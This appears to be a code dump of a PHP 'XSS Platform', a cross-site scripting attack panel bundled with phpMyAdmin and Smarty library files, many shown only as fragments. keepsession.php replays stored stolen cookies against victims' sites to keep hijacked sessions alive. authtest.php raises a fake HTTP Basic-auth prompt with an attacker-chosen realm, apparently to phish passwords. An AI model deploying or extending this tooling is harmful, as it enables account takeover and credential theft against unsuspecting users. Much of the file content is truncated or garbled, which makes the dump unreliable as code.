├── robots.txt
├── test.php
├── php
├── RELEASE-DATE-2.11.6
├── favicon.ico
├── pmd
│ ├── images
│ │ ├── bord.png
│ │ ├── def.png
│ │ ├── exec.png
│ │ ├── grid.png
│ │ ├── help.png
│ │ ├── pdf.png
│ │ ├── save.png
│ │ ├── bottom.png
│ │ ├── reload.png
│ │ ├── resize.png
│ │ ├── table.png
│ │ ├── favicon.ico
│ │ ├── relation.png
│ │ ├── 2leftarrow.png
│ │ ├── 2rightarrow.png
│ │ ├── ang_direct.png
│ │ ├── downarrow1.png
│ │ ├── downarrow2.png
│ │ ├── exec_small.png
│ │ ├── rightarrow1.png
│ │ ├── rightarrow2.png
│ │ ├── uparrow2_m.png
│ │ ├── 2leftarrow_m.png
│ │ ├── 2rightarrow_m.png
│ │ ├── display_field.png
│ │ ├── downarrow2_m.png
│ │ └── help_relation.png
│ └── styles
│ │ └── default
│ │ └── images
│ │ ├── 1.png
│ │ ├── 2.png
│ │ ├── 3.png
│ │ ├── 4.png
│ │ ├── 5.png
│ │ ├── 6.png
│ │ ├── 7.png
│ │ ├── 8.png
│ │ ├── Header.png
│ │ ├── small_tab.png
│ │ ├── top_panel.png
│ │ ├── Field_small.png
│ │ ├── FieldKey_small.png
│ │ ├── Header_Linked.png
│ │ ├── left_panel_tab.png
│ │ ├── Field_small_char.png
│ │ ├── Field_small_date.png
│ │ ├── Field_small_int.png
│ │ └── left_panel_butt.png
├── lang
│ ├── japanese-euc.inc.php
│ ├── japanese-sjis.inc.php
│ ├── korean-euc-kr.inc.php
│ ├── thai-tis-620.inc.php
│ ├── bulgarian-koi8-r.inc.php
│ ├── czech-iso-8859-2.inc.php
│ ├── dutch-iso-8859-1.inc.php
│ ├── greek-iso-8859-7.inc.php
│ ├── russian-cp-866.inc.php
│ ├── russian-koi8-r.inc.php
│ ├── basque-iso-8859-1.inc.php
│ ├── catalan-iso-8859-1.inc.php
│ ├── czech-windows-1250.inc.php
│ ├── danish-iso-8859-1.inc.php
│ ├── dutch-iso-8859-15.inc.php
│ ├── finnish-iso-8859-1.inc.php
│ ├── french-iso-8859-1.inc.php
│ ├── french-iso-8859-15.inc.php
│ ├── german-iso-8859-1.inc.php
│ ├── german-iso-8859-15.inc.php
│ ├── italian-iso-8859-1.inc.php
│ ├── polish-iso-8859-2.inc.php
│ ├── slovak-iso-8859-2.inc.php
│ ├── spanish-iso-8859-1.inc.php
│ ├── swedish-iso-8859-1.inc.php
│ ├── turkish-iso-8859-9.inc.php
│ ├── albanian-iso-8859-1.inc.php
│ ├── arabic-windows-1256.inc.php
│ ├── bosnian-windows-1250.inc.php
│ ├── croatian-iso-8859-2.inc.php
│ ├── croatian-windows-1250.inc.php
│ ├── estonian-iso-8859-1.inc.php
│ ├── finnish-iso-8859-15.inc.php
│ ├── galician-iso-8859-1.inc.php
│ ├── hebrew-iso-8859-8-i.inc.php
│ ├── hungarian-iso-8859-2.inc.php
│ ├── italian-iso-8859-15.inc.php
│ ├── latvian-windows-1257.inc.php
│ ├── norwegian-iso-8859-1.inc.php
│ ├── persian-windows-1256.inc.php
│ ├── polish-windows-1250.inc.php
│ ├── portuguese-iso-8859-1.inc.php
│ ├── romanian-iso-8859-1.inc.php
│ ├── russian-windows-1251.inc.php
│ ├── slovak-windows-1250.inc.php
│ ├── slovenian-iso-8859-2.inc.php
│ ├── spanish-iso-8859-15.inc.php
│ ├── tatarish-iso-8859-9.inc.php
│ ├── azerbaijani-iso-8859-9.inc.php
│ ├── bulgarian-windows-1251.inc.php
│ ├── lithuanian-windows-1257.inc.php
│ ├── portuguese-iso-8859-15.inc.php
│ ├── slovenian-windows-1250.inc.php
│ ├── ukrainian-windows-1251.inc.php
│ ├── chinese_simplified-gb2312.inc.php
│ ├── chinese_traditional-big5.inc.php
│ ├── serbian_latin-windows-1250.inc.php
│ ├── brazilian_portuguese-iso-8859-1.inc.php
│ ├── serbian_cyrillic-windows-1251.inc.php
│ ├── belarusian_cyrillic-windows-1251.inc.php
│ ├── macedonian_cyrillic-windows-1251.inc.php
│ ├── remove_message.sh
│ ├── add_message.sh
│ ├── add_message_file.sh
│ └── translatecount.sh
├── themes
│ ├── original
│ │ ├── screen.png
│ │ ├── img
│ │ │ ├── b_sdb.png
│ │ │ ├── b_sql.png
│ │ │ ├── error.ico
│ │ │ ├── item.png
│ │ │ ├── s_asc.png
│ │ │ ├── s_db.png
│ │ │ ├── s_tbl.png
│ │ │ ├── b_docs.png
│ │ │ ├── b_drop.png
│ │ │ ├── b_edit.png
│ │ │ ├── b_empty.png
│ │ │ ├── b_ftext.png
│ │ │ ├── b_help.png
│ │ │ ├── b_home.png
│ │ │ ├── b_index.png
│ │ │ ├── b_info.png
│ │ │ ├── b_minus.png
│ │ │ ├── b_newdb.png
│ │ │ ├── b_plus.png
│ │ │ ├── b_print.png
│ │ │ ├── b_props.png
│ │ │ ├── b_save.png
│ │ │ ├── b_tipp.png
│ │ │ ├── b_view.png
│ │ │ ├── b_views.png
│ │ │ ├── bd_drop.png
│ │ │ ├── php_sym.png
│ │ │ ├── s_asci.png
│ │ │ ├── s_desc.png
│ │ │ ├── s_error.png
│ │ │ ├── s_host.png
│ │ │ ├── s_info.png
│ │ │ ├── s_lang.png
│ │ │ ├── s_okay.png
│ │ │ ├── s_theme.png
│ │ │ ├── s_vars.png
│ │ │ ├── s_views.png
│ │ │ ├── s_warn.png
│ │ │ ├── spacer.png
│ │ │ ├── arrow_ltr.png
│ │ │ ├── arrow_rtl.png
│ │ │ ├── asc_order.png
│ │ │ ├── b_bookmark.png
│ │ │ ├── b_browse.png
│ │ │ ├── b_calendar.png
│ │ │ ├── b_comment.png
│ │ │ ├── b_deltbl.png
│ │ │ ├── b_docsql.png
│ │ │ ├── b_engine.png
│ │ │ ├── b_export.png
│ │ │ ├── b_import.png
│ │ │ ├── b_insrow.png
│ │ │ ├── b_lastpage.png
│ │ │ ├── b_newtbl.png
│ │ │ ├── b_nextpage.png
│ │ │ ├── b_pdfdoc.png
│ │ │ ├── b_prevpage.png
│ │ │ ├── b_primary.png
│ │ │ ├── b_sbrowse.png
│ │ │ ├── b_search.png
│ │ │ ├── b_selboard.png
│ │ │ ├── b_select.png
│ │ │ ├── b_sqldoc.png
│ │ │ ├── b_sqlhelp.png
│ │ │ ├── b_tblops.png
│ │ │ ├── b_unique.png
│ │ │ ├── b_usradd.png
│ │ │ ├── b_usrcheck.png
│ │ │ ├── b_usrdrop.png
│ │ │ ├── b_usredit.png
│ │ │ ├── b_usrlist.png
│ │ │ ├── bd_browse.png
│ │ │ ├── bd_deltbl.png
│ │ │ ├── bd_empty.png
│ │ │ ├── bd_ftext.png
│ │ │ ├── bd_index.png
│ │ │ ├── bd_insrow.png
│ │ │ ├── bd_primary.png
│ │ │ ├── bd_sbrowse.png
│ │ │ ├── bd_select.png
│ │ │ ├── bd_unique.png
│ │ │ ├── item_ltr.png
│ │ │ ├── item_rtl.png
│ │ │ ├── logo_left.png
│ │ │ ├── logo_right.png
│ │ │ ├── pma_logo2.png
│ │ │ ├── s_cancel.png
│ │ │ ├── s_cancel2.png
│ │ │ ├── s_error2.png
│ │ │ ├── s_fulltext.png
│ │ │ ├── s_loggoff.png
│ │ │ ├── s_notice.png
│ │ │ ├── s_passwd.png
│ │ │ ├── s_process.png
│ │ │ ├── s_really.png
│ │ │ ├── s_reload.png
│ │ │ ├── s_rights.png
│ │ │ ├── s_status.png
│ │ │ ├── window-new.png
│ │ │ ├── b_firstpage.png
│ │ │ ├── b_relations.png
│ │ │ ├── b_tblanalyse.png
│ │ │ ├── b_tblexport.png
│ │ │ ├── b_tblimport.png
│ │ │ ├── bd_firstpage.png
│ │ │ ├── bd_lastpage.png
│ │ │ ├── bd_nextpage.png
│ │ │ ├── bd_prevpage.png
│ │ │ ├── s_attention.png
│ │ │ ├── b_dbstatistics.png
│ │ │ ├── b_tbloptimize.png
│ │ │ ├── s_partialtext.png
│ │ │ └── vertical_line.png
│ │ ├── info.inc.php
│ │ └── css
│ │ │ └── theme_print.css.php
│ └── darkblue_orange
│ │ ├── screen.png
│ │ ├── img
│ │ ├── b_sdb.png
│ │ ├── b_sql.png
│ │ ├── error.ico
│ │ ├── item.png
│ │ ├── s_asc.png
│ │ ├── s_db.png
│ │ ├── s_tbl.png
│ │ ├── b_browse.png
│ │ ├── b_deltbl.png
│ │ ├── b_docs.png
│ │ ├── b_docsql.png
│ │ ├── b_drop.png
│ │ ├── b_edit.png
│ │ ├── b_empty.png
│ │ ├── b_engine.png
│ │ ├── b_export.png
│ │ ├── b_ftext.png
│ │ ├── b_help.png
│ │ ├── b_home.png
│ │ ├── b_import.png
│ │ ├── b_index.png
│ │ ├── b_info.png
│ │ ├── b_insrow.png
│ │ ├── b_minus.png
│ │ ├── b_newdb.png
│ │ ├── b_newtbl.png
│ │ ├── b_pdfdoc.png
│ │ ├── b_plus.png
│ │ ├── b_print.png
│ │ ├── b_props.png
│ │ ├── b_save.png
│ │ ├── b_search.png
│ │ ├── b_select.png
│ │ ├── b_sqldoc.png
│ │ ├── b_tblops.png
│ │ ├── b_tipp.png
│ │ ├── b_unique.png
│ │ ├── b_usradd.png
│ │ ├── b_view.png
│ │ ├── b_views.png
│ │ ├── bd_drop.png
│ │ ├── bd_empty.png
│ │ ├── bd_ftext.png
│ │ ├── bd_index.png
│ │ ├── item_ltr.png
│ │ ├── item_rtl.png
│ │ ├── php_sym.png
│ │ ├── s_asci.png
│ │ ├── s_cancel.png
│ │ ├── s_desc.png
│ │ ├── s_error.png
│ │ ├── s_error2.png
│ │ ├── s_host.png
│ │ ├── s_info.png
│ │ ├── s_lang.png
│ │ ├── s_notice.png
│ │ ├── s_okay.png
│ │ ├── s_passwd.png
│ │ ├── s_really.png
│ │ ├── s_reload.png
│ │ ├── s_rights.png
│ │ ├── s_status.png
│ │ ├── s_theme.png
│ │ ├── s_vars.png
│ │ ├── s_views.png
│ │ ├── s_warn.png
│ │ ├── spacer.png
│ │ ├── tbl_th.png
│ │ ├── arrow_ltr.png
│ │ ├── arrow_rtl.png
│ │ ├── asc_order.png
│ │ ├── b_bookmark.png
│ │ ├── b_calendar.png
│ │ ├── b_comment.png
│ │ ├── b_lastpage.png
│ │ ├── b_nextpage.png
│ │ ├── b_prevpage.png
│ │ ├── b_primary.png
│ │ ├── b_sbrowse.png
│ │ ├── b_selboard.png
│ │ ├── b_sqlhelp.png
│ │ ├── b_usrcheck.png
│ │ ├── b_usrdrop.png
│ │ ├── b_usredit.png
│ │ ├── b_usrlist.png
│ │ ├── bd_browse.png
│ │ ├── bd_deltbl.png
│ │ ├── bd_insrow.png
│ │ ├── bd_primary.png
│ │ ├── bd_sbrowse.png
│ │ ├── bd_select.png
│ │ ├── bd_unique.png
│ │ ├── logo_left.png
│ │ ├── logo_right.png
│ │ ├── pma_logo2.png
│ │ ├── s_cancel2.png
│ │ ├── s_fulltext.png
│ │ ├── s_loggoff.png
│ │ ├── s_process.png
│ │ ├── tbl_header.png
│ │ ├── window-new.png
│ │ ├── b_firstpage.png
│ │ ├── b_relations.png
│ │ ├── b_tblanalyse.png
│ │ ├── b_tblexport.png
│ │ ├── b_tblimport.png
│ │ ├── b_tbloptimize.png
│ │ ├── bd_firstpage.png
│ │ ├── bd_lastpage.png
│ │ ├── bd_nextpage.png
│ │ ├── bd_prevpage.png
│ │ ├── s_attention.png
│ │ ├── s_partialtext.png
│ │ └── b_dbstatistics.png
│ │ └── info.inc.php
├── libraries
│ ├── tcpdf
│ │ └── font
│ │ │ ├── dejavusans.z
│ │ │ ├── dejavuserif.z
│ │ │ ├── dejavusans-bold.z
│ │ │ ├── dejavusans.ctg.z
│ │ │ ├── dejavuserif-bold.z
│ │ │ ├── dejavuserif.ctg.z
│ │ │ ├── dejavusans-bold.ctg.z
│ │ │ ├── dejavuserif-bold.ctg.z
│ │ │ └── README
│ ├── .htaccess
│ ├── transformations
│ │ ├── README
│ │ ├── text_plain__formatted.inc.php
│ │ ├── TEMPLATE_MIMETYPE
│ │ ├── text_plain__sql.inc.php
│ │ ├── template_generator_mimetype.sh
│ │ ├── image_jpeg__link.inc.php
│ │ ├── template_generator.sh
│ │ ├── application_octetstream__hex.inc.php
│ │ ├── text_plain__imagelink.inc.php
│ │ ├── text_plain__link.inc.php
│ │ ├── generator.sh
│ │ ├── image_png__inline.inc.php
│ │ ├── image_jpeg__inline.inc.php
│ │ ├── TEMPLATE
│ │ ├── application_octetstream__download.inc.php
│ │ └── text_plain__substr.inc.php
│ ├── engines
│ │ ├── merge.lib.php
│ │ ├── berkeleydb.lib.php
│ │ ├── innobase.lib.php
│ │ ├── binlog.lib.php
│ │ ├── mrg_myisam.lib.php
│ │ ├── memory.lib.php
│ │ └── ndbcluster.lib.php
│ ├── language.lib.php
│ ├── dbg
│ │ └── setup.php
│ ├── header_http.inc.php
│ ├── export
│ │ └── excel.php
│ ├── tbl_common.php
│ ├── server_common.inc.php
│ └── cleanup.lib.php
├── CREDITS
├── INSTALL
├── TODO
├── contrib
│ ├── packaging
│ │ └── Fedora
│ │ │ └── phpMyAdmin-http.conf
│ └── README
├── show_config_errors.php
├── phpinfo.php
├── test
│ ├── FailTest.php
│ ├── Environment_test.php
│ ├── PMA_get_real_size_test.php
│ ├── PMA_STR_sub_test.php
│ ├── PMA_sanitize_test.php
│ ├── PMA_transformation_getOptions_test.php
│ └── PMA_escapeJsString_test.php
├── readme.php
├── license.php
├── scripts
│ ├── convertcfg.pl
│ ├── remove_control_m.sh
│ └── find_unused_messages.sh
├── chk_rel.php
├── db_import.php
├── server_import.php
├── server_sql.php
├── tbl_import.php
├── calendar.php
├── pmd_help.php
├── tbl_sql.php
├── db_sql.php
├── themes.php
├── print.css
└── db_create.php
├── README.md
├── xss.tar.gz
├── admin
├── style
│ └── images
│ │ ├── bg.png
│ │ ├── Thumbs.db
│ │ └── logo.gif
├── templates
│ ├── admin_footer.html
│ ├── admin_menu.html
│ └── admin_header.html
├── index.php
└── source
│ ├── admin_index.php
│ └── admin_module.php
├── source
├── js
│ └── boxy
│ │ ├── boxy-ne.png
│ │ ├── boxy-nw.png
│ │ ├── boxy-se.png
│ │ └── boxy-sw.png
├── global.func.php
├── index.php
├── common.php
├── do.php
├── keepsession.php
├── login.php
└── code.php
├── update.sh
├── themes
└── default
│ ├── templates
│ ├── header.html
│ ├── notice.html
│ └── menus.html
│ └── style
│ ├── style.css
│ └── print.css
├── captcha.php
├── index.php
├── libs
├── internals
│ ├── core.get_microtime.php
│ ├── core.get_include_path.php
│ ├── core.process_compiled_include.php
│ ├── core.write_compiled_resource.php
│ ├── core.assign_smarty_interface.php
│ └── core.is_trusted.php
└── plugins
│ ├── modifier.lower.php
│ ├── modifier.upper.php
│ ├── modifier.indent.php
│ ├── modifier.string_format.php
│ ├── modifier.replace.php
│ ├── modifier.wordwrap.php
│ ├── modifier.cat.php
│ ├── modifier.count_paragraphs.php
│ ├── modifier.spacify.php
│ ├── modifier.default.php
│ ├── modifier.count_sentences.php
│ ├── modifier.strip_tags.php
│ ├── modifier.nl2br.php
│ ├── modifier.strip.php
│ ├── modifier.count_characters.php
│ ├── modifier.count_words.php
│ ├── shared.escape_special_chars.php
│ ├── function.debug.php
│ ├── function.popup_init.php
│ ├── modifier.truncate_utf8.php
│ ├── function.eval.php
│ ├── modifier.capitalize.php
│ ├── compiler.assign.php
│ ├── function.assign_debug_info.php
│ ├── shared.make_timestamp.php
│ ├── modifier.regex_replace.php
│ └── modifier.truncate.php
├── templates_c
├── %%71^714^714F4B17%%header.html.php
└── %%8E^8E8^8E89046B%%notice.html.php
├── scripts
└── keepsession.php
├── authtest.php
├── download.php
└── test.html
/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Disallow: /
--------------------------------------------------------------------------------
/test.php:
--------------------------------------------------------------------------------
1 | )
2 | ====================
3 |
4 | See the Documentation.html for complete instructions on how to use transformation plugins.
5 |
--------------------------------------------------------------------------------
/php/CREDITS:
--------------------------------------------------------------------------------
1 | $Id: CREDITS 5152 2003-11-18 15:20:45Z nijel $
2 |
3 |
4 | phpMyAdmin - Credits
5 | ====================
6 |
7 | Please have a look to the Documentation.txt or
8 | Documentation.html files.
9 |
10 |
--------------------------------------------------------------------------------
/php/INSTALL:
--------------------------------------------------------------------------------
1 | $Id: INSTALL 9537 2006-10-12 16:27:13Z nijel $
2 |
3 | phpMyAdmin - Installation
4 | -------------------------
5 |
6 | Please have a look to the Documentation.txt or
7 | Documentation.html files.
8 |
9 |
10 |
--------------------------------------------------------------------------------
/admin/templates/admin_footer.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/update.sh:
--------------------------------------------------------------------------------
1 | git config --global user.name "zonehook"
2 | git config --global user.email "zonehook@gmail.com"
3 | git init
4 | git add .
5 | git commit -m 'first commit'
6 | git remote add origin git@github.com:zonehook/XSS-Platform.git
7 | git push origin master
8 |
--------------------------------------------------------------------------------
/admin/templates/admin_menu.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/php/TODO:
--------------------------------------------------------------------------------
1 | $Id: TODO 9537 2006-10-12 16:27:13Z nijel $
2 |
3 | phpMyAdmin - Todo
4 | =================
5 |
6 | We are currently using the Sourceforge Tracker as Todo list:
7 |
8 | http://sourceforge.net/tracker/?atid=377411&group_id=23067&func=browse
9 |
10 | -- swix/20010704
11 |
--------------------------------------------------------------------------------
/themes/default/templates/header.html:
--------------------------------------------------------------------------------
1 | XSS Platform
2 | {if $show.user.userId>0}
3 | 用户:{$show.user.userName} , 退出
4 | {/if}
5 |
6 |
--------------------------------------------------------------------------------
/php/libraries/engines/merge.lib.php:
--------------------------------------------------------------------------------
1 |
15 |
--------------------------------------------------------------------------------
/captcha.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/php/contrib/packaging/Fedora/phpMyAdmin-http.conf:
--------------------------------------------------------------------------------
1 | #
2 | # MySQL server administration.
3 | #
4 | Alias /phpMyAdmin /var/www/myadmin
5 |
6 |
7 | DirectoryIndex index.php
8 | Options Indexes Includes ExecCGI
9 | AllowOverride None
10 | Order deny,allow
11 | Allow from all
12 |
13 |
--------------------------------------------------------------------------------
/php/libraries/engines/berkeleydb.lib.php:
--------------------------------------------------------------------------------
1 |
17 |
--------------------------------------------------------------------------------
/php/themes/original/info.inc.php:
--------------------------------------------------------------------------------
1 |
17 |
--------------------------------------------------------------------------------
/php/libraries/engines/innobase.lib.php:
--------------------------------------------------------------------------------
1 |
19 |
--------------------------------------------------------------------------------
/php/themes/darkblue_orange/info.inc.php:
--------------------------------------------------------------------------------
1 |
17 |
--------------------------------------------------------------------------------
/php/libraries/transformations/text_plain__formatted.inc.php:
--------------------------------------------------------------------------------
1 |
16 |
--------------------------------------------------------------------------------
/source/global.func.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/php/show_config_errors.php:
--------------------------------------------------------------------------------
1 |
18 |
--------------------------------------------------------------------------------
/index.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/php/libraries/language.lib.php:
--------------------------------------------------------------------------------
1 |
18 |
--------------------------------------------------------------------------------
/php/phpinfo.php:
--------------------------------------------------------------------------------
1 |
22 |
--------------------------------------------------------------------------------
/php/test/FailTest.php:
--------------------------------------------------------------------------------
1 | assertEquals(0, 1);
20 | }
21 | }
22 | ?>
--------------------------------------------------------------------------------
/php/libraries/transformations/TEMPLATE_MIMETYPE:
--------------------------------------------------------------------------------
1 |
14 |
--------------------------------------------------------------------------------
/php/readme.php:
--------------------------------------------------------------------------------
1 |
18 |
--------------------------------------------------------------------------------
/php/contrib/README:
--------------------------------------------------------------------------------
1 | $Id: README 8657 2006-02-22 15:35:00Z nijel $
2 |
3 | This directory contains various stuff contributed by users that might be
4 | useful to other. There is no guarantee it will work for you.
5 |
6 | Current content of this directory:
7 |
8 | packaging - Contains files needed for creating packages for various
9 | distributions. Please prefer official packages from your vendor if
10 | possible.
11 |
12 | vim: expandtab ts=4 sw=4 sts=4 tw=78
13 |
--------------------------------------------------------------------------------
/libs/internals/core.get_microtime.php:
--------------------------------------------------------------------------------
1 |
24 |
--------------------------------------------------------------------------------
/php/license.php:
--------------------------------------------------------------------------------
1 |
18 |
--------------------------------------------------------------------------------
/php/scripts/convertcfg.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 | #
3 | # $Id: convertcfg.pl 5152 2003-11-18 15:20:45Z nijel $
4 | #
5 | # Configuration converter
6 | # Converts from old-style (Pre-2.3) configuration files to new format found in PMA-2.3
7 | #
8 | # Takes input from STDIN, sends output to STDOUT
9 | #
10 | # By Robin Johnson robbat2@users.sourceforge.net
11 | # Many thanks to Patrick Lougheed pat@tfsb.org
12 | #
13 |
14 | while(<>)
15 | { s/\$cfg(\w+)/\$cfg\[\'$1\'\]/g;
16 | print;
17 | }
18 |
19 |
20 |
--------------------------------------------------------------------------------
/php/scripts/remove_control_m.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | #
3 | # $Id: remove_control_m.sh 5152 2003-11-18 15:20:45Z nijel $
4 | #
5 | # Script to remove ^M from files for DOS <-> UNIX conversions
6 | #
7 |
8 | if [ $# != 1 ]
9 | then
10 | echo "Usage: remove_control_m.sh "
11 | echo ""
12 | echo "Example: remove_control_m.sh php3"
13 | exit
14 | fi
15 |
16 | for i in `find . -name "*.$1"`
17 | do
18 | echo $i
19 | tr -d '\015' < $i > ${i}.new
20 | rm $i
21 | mv ${i}.new $i
22 | done;
23 |
24 |
--------------------------------------------------------------------------------
/templates_c/%%71^714^714F4B17%%header.html.php:
--------------------------------------------------------------------------------
1 |
3 | XSS Platform
4 | _tpl_vars['show']['user']['userId'] > 0): ?>
5 | 用户:_tpl_vars['show']['user']['userName']; ?>
6 | , 退出
8 |
9 |
10 |
--------------------------------------------------------------------------------
/php/libraries/transformations/text_plain__sql.inc.php:
--------------------------------------------------------------------------------
1 |
19 |
--------------------------------------------------------------------------------
/admin/index.php:
--------------------------------------------------------------------------------
1 | adminLevel<=0) die('Access Denied');
9 |
10 | define('ADMIN_PATH',dirname(__FILE__));
11 | define('TEMPLATE_PATH',dirname(__FILE__));
12 |
13 | $do=Val('do','GET',0);
14 | $dos=array('admin_index','admin_module');
15 |
16 | if(!in_array($do,$dos)) $do='admin_index';
17 | include(ADMIN_PATH.'/source/'.$do.'.php');
18 | ?>
--------------------------------------------------------------------------------
/source/index.php:
--------------------------------------------------------------------------------
1 | userId<=0) $user->ToLogin();
9 |
10 | include('common.php');
11 |
12 | $smarty=InitSmarty();
13 | $smarty->assign('do',$do);
14 | $smarty->assign('show',$show);
15 | $smarty->assign('url',$url);
16 | $smarty->assign('projects',$projects);
17 | $smarty->assign('modules',$modules);
18 | $smarty->display('index.html');
19 | ?>
--------------------------------------------------------------------------------
/php/libraries/engines/binlog.lib.php:
--------------------------------------------------------------------------------
1 |
25 |
--------------------------------------------------------------------------------
/php/chk_rel.php:
--------------------------------------------------------------------------------
1 |
27 |
--------------------------------------------------------------------------------
/php/db_import.php:
--------------------------------------------------------------------------------
1 |
27 |
28 |
--------------------------------------------------------------------------------
/scripts/keepsession.php:
--------------------------------------------------------------------------------
1 | Dataset("SELECT * FROM ".Tb('keepsession'));
10 |
11 | $f=new SaeFetchurl();
12 |
13 | foreach($rows as $row){
14 | if(time()>$row['updateTime']+300){
15 | $f->setHeader("Cookie",urldecode($row['cookie']));
16 | $con=$f->fetch($row['url']);
17 | $db->Execute("UPDATE ".Tb('keepsession')." SET updateTime='".time()."' WHERE id='{$row[id]}'");
18 | }
19 | }
20 | ?>
--------------------------------------------------------------------------------
/libs/plugins/modifier.lower.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: lower
14 | * Purpose: convert string to lowercase
15 | * @link http://smarty.php.net/manual/en/language.modifier.lower.php
16 | * lower (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @return string
20 | */
21 | function smarty_modifier_lower($string)
22 | {
23 | return strtolower($string);
24 | }
25 |
26 | ?>
27 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.upper.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: upper
14 | * Purpose: convert string to uppercase
15 | * @link http://smarty.php.net/manual/en/language.modifier.upper.php
16 | * upper (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @return string
20 | */
21 | function smarty_modifier_upper($string)
22 | {
23 | return strtoupper($string);
24 | }
25 |
26 | ?>
27 |
--------------------------------------------------------------------------------
/admin/templates/admin_header.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |

5 |
6 |
18 |
19 |
--------------------------------------------------------------------------------
/php/server_import.php:
--------------------------------------------------------------------------------
1 |
31 |
32 |
--------------------------------------------------------------------------------
/php/lang/remove_message.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # $Id: remove_message.sh 5152 2003-11-18 15:20:45Z nijel $
3 | #
4 | # Shell script that removes a message from all message files (Lem9)
5 | # it checks for the message, followed by a space
6 | #
7 | # Example: remove_message.sh 'strMessageToRemove'
8 | #
9 |
10 | if [ $# -ne 1 ] ; then
11 | echo "usage: remove_message.sh 'strMessageToRemove'"
12 | exit 1
13 | fi
14 |
15 | for file in *.inc.php
16 | do
17 | echo "lines before:" `wc -l $file`
18 | grep -v "$1 " ${file} > ${file}.new
19 | rm $file
20 | mv ${file}.new $file
21 | echo " lines after:" `wc -l $file`
22 | done
23 | echo " "
24 |
--------------------------------------------------------------------------------
/php/libraries/transformations/template_generator_mimetype.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # $Id: template_generator_mimetype.sh 9537 2006-10-12 16:27:13Z nijel $
3 | #
4 | # Shell script that adds a new mimetype without transform function.
5 | #
6 | # The filename should contain either 'mimetype_subtype' or 'mimetype'.
7 | # The suffix '.inc.php' is appended automatically!
8 | #
9 | # Example: template_generator_mimetype.sh 'filename'
10 | #
11 | if [ $# == 0 ]
12 | then
13 | echo "Usage: template_generator_mimetype.sh 'filename'"
14 | echo ""
15 | exit 65
16 | fi
17 |
18 | ./generator.sh 'TEMPLATE_MIMETYPE' "$1"
19 | echo " "
20 | echo "New MIMETYPE $1.inc.php added."
21 |
--------------------------------------------------------------------------------
/php/libraries/engines/mrg_myisam.lib.php:
--------------------------------------------------------------------------------
1 |
30 |
--------------------------------------------------------------------------------
/php/libraries/transformations/image_jpeg__link.inc.php:
--------------------------------------------------------------------------------
1 | '[BLOB]');
15 | $buffer = PMA_transformation_global_html_replace($buffer, $transform_options);
16 |
17 | return $buffer;
18 | }
19 |
20 | ?>
21 |
--------------------------------------------------------------------------------
/php/libraries/engines/memory.lib.php:
--------------------------------------------------------------------------------
1 | array(
21 | 'type' => PMA_ENGINE_DETAILS_TYPE_SIZE,
22 | ),
23 | );
24 | }
25 | }
26 |
27 | ?>
28 |
--------------------------------------------------------------------------------
/libs/plugins/modifier.indent.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: indent
14 | * Purpose: indent lines of text
15 | * @link http://smarty.php.net/manual/en/language.modifier.indent.php
16 | * indent (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @param integer
20 | * @param string
21 | * @return string
22 | */
23 | function smarty_modifier_indent($string,$chars=4,$char=" ")
24 | {
25 | return preg_replace('!^!m',str_repeat($char,$chars),$string);
26 | }
27 |
28 | ?>
29 |
--------------------------------------------------------------------------------
/source/common.php:
--------------------------------------------------------------------------------
1 | Dataset("SELECT * FROM ".Tb('project')." WHERE userId='".$user->userId."' ORDER BY id dESC");
12 | foreach($projects as $k=>$v){
13 | $projects[$k]['contentNum']=$db->FirstValue("SELECT COUNT(*) FROM ".Tb('project_content')." WHERE projectId='{$v[id]}'");
14 | }
15 | //模块
16 | $modules=$db->Dataset("SELECT * FROM ".Tb('module')." WHERE userId='".$user->userId."' OR (isOpen=1 AND isAudit=1) ORDER BY id dESC");
17 | ?>
--------------------------------------------------------------------------------
/libs/plugins/modifier.string_format.php:
--------------------------------------------------------------------------------
1 |
13 | * Name: string_format
14 | * Purpose: format strings via sprintf
15 | * @link http://smarty.php.net/manual/en/language.modifier.string.format.php
16 | * string_format (Smarty online manual)
17 | * @author Monte Ohrt
18 | * @param string
19 | * @param string
20 | * @return string
21 | */
22 | function smarty_modifier_string_format($string, $format)
23 | {
24 | return sprintf($format, $string);
25 | }
26 |
27 | /* vim: set expandtab: */
28 |
29 | ?>
30 |
--------------------------------------------------------------------------------
/themes/default/style/style.css:
--------------------------------------------------------------------------------
1 | code {
2 | background-color: #F8F8F8;
3 | border: 1px solid #CCCCCC;
4 | color: #333333;
5 | display: block;
6 | font-family: Lucida Console,Courier New,Courier,mono,monospace;
7 | font-size: 12px;
8 | line-height: 18px;
9 | margin: 0 auto;
10 | overflow: auto;
11 | padding: 4px 8px;
12 | word-wrap: break-word;
13 | }
14 |
15 | .menus { padding:10px; width:150px; margin-right:10px; border:#e0e0e0 1px solid }
16 | .menus .menutitle { font-size:14px; font-weight:bold; width:100%;overflow: hidden }
17 | .menus .menutitle a { text-decoration:none }
18 | .menus .menutitle a.right { font-size:12px; font-weight: normal; }
19 | .menus ul,menus li { list-style:none }
--------------------------------------------------------------------------------
/authtest.php:
--------------------------------------------------------------------------------
1 |
2 | error_reporting(0);
3 | /* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/
4 |
5 | if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
6 |
7 | /* 空值:发送产生显示文本框的数据头部*/
8 |
9 | header('WWW-Authenticate: Basic realm="'.addslashes(trim($_GET['info'])).'"');
10 |
11 | header('HTTP/1.0 401 Unauthorized');
12 |
